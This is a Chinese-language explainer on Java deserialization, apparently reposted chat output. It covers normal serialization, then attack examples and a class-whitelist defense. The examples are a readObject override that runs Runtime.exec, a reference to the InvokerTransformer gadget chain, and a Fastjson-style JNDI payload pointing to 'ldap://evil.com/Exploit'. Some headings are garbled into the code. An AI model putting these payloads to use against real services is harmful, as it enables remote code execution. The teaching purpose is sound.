Java 反序列化(Deserialization) 指的是把字节流恢复成 Java 对象的过程,通常和反序列化漏洞、安全攻击联系在一起。下面我从 正常用法 和 安全风险 两个方面给你讲清楚。
类必须实现:
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;
// getter/setter/constructor
}
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream("user.bin"));
oos.writeObject(new User("Tom", 18));
oos.close();
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream("user.bin"));
User user = (User) ois.readObject();
ois.close();
✅ 这就是 标准 Java 反序列化流程
⚠️ 核心问题:
readObject()会自动执行对象里的代码
如果攻击者能控制反序列化的数据,就可能执行恶意逻辑。
readObject() 中被重写private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
✅ 只要反序列化该对象,就会执行命令
Transformer 链InvokerTransformer(常用于 Web 历史漏洞)
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil.com/Exploit",
"autoCommit": true
}
❌ 自动反序列化 + JNDI = RCE
最重要的一条
ObjectInputStream ois = new ObjectInputStream(in) {
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!desc.getName().equals("com.xxx.User")) {
throw new InvalidClassException(desc.getName());
}
return super.resolveClass(desc);
}
};
Java 反序列化 = 读对象 + 可能执行代码
✅ 正常用途:对象持久化、网络传输
❌ 危险用途:RCE、内网渗透、勒索攻击
如果你是想:
告诉我你的具体目的,我可以给你更针对性的内容。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。